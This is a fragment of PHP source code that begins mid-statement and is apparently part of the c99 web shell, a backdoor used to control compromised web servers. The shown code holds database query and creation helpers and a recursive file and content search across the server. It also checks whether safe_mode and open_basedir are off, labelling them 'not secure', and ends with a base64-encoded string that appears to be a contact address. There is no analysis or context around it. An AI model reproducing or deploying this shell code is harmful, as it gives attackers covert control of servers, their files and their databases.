substr($result,0,strlen($result)-strlen($sep)); return $result;}}if (!function_exists("mysql_fetch_all")){function mysql_fetch_all($query,$sock){ if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array;}}if (!function_exists("mysql_smarterror")){function mysql_smarterror($type,$sock){ if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error;}}if (!function_exists("mysql_query_form")){function mysql_query_form(){ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error."";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo ""; if ($tbl_struct) { echo ""; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":".htmlspecialchars($sql_query)."Fields:"; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " ".$name."";} echo ""; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}}}if (!function_exists("mysql_create_db")){function mysql_create_db($db,$sock=""){ $sql = "CREATE DATABASE `".addslashes($db)."`;"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);}}}if (!function_exists("mysql_query_parse")){function mysql_query_parse($query){ $query = trim($query); $arr = explode (" ",$query); /*array array() { "METHOD"=>array(output_type), "METHOD1"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["propertions"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == "LIMIT") { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return FALSE;}}}if (!function_exists("c99fsearch")){function c99fsearch($d){ global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== FALSE) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {c99fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} else {$bool = strpos(" ".$r,$a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h);}}if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}//Sending headers@ob_start();@ob_implicit_flush(0);function onphpshutdown(){ global $gzipencode,$ft; if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { $v = @ob_get_contents(); @ob_end_clean(); @ob_start("ob_gzHandler"); echo $v; @ob_end_flush(); }}function c99shexit(){ onphpshutdown(); exit;}header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");header("Cache-Control: no-store, no-cache, must-revalidate");header("Cache-Control: post-check=0, pre-check=0", FALSE);header("Pragma: no-cache");if (empty($tmpdir)){ $tmpdir = ini_get("upload_tmp_dir"); if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}}$tmpdir = realpath($tmpdir);$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}else {$tmpdir_logs = realpath($tmpdir_logs);}if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on"){ $safemode = TRUE; $hsafemode = "ON (secure)";}else {$safemode = FALSE; $hsafemode = "OFF (not secure)";}$v = @ini_get("open_basedir");if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v."";}else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure)";}$sort = htmlspecialchars($sort);if (empty($sort)) {$sort = $sort_default;}$sort[1] = strtolower($sort[1]);$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); $data1 = "cmlwcGVyc3N0YXlvZmZAZ21haWwuY29t";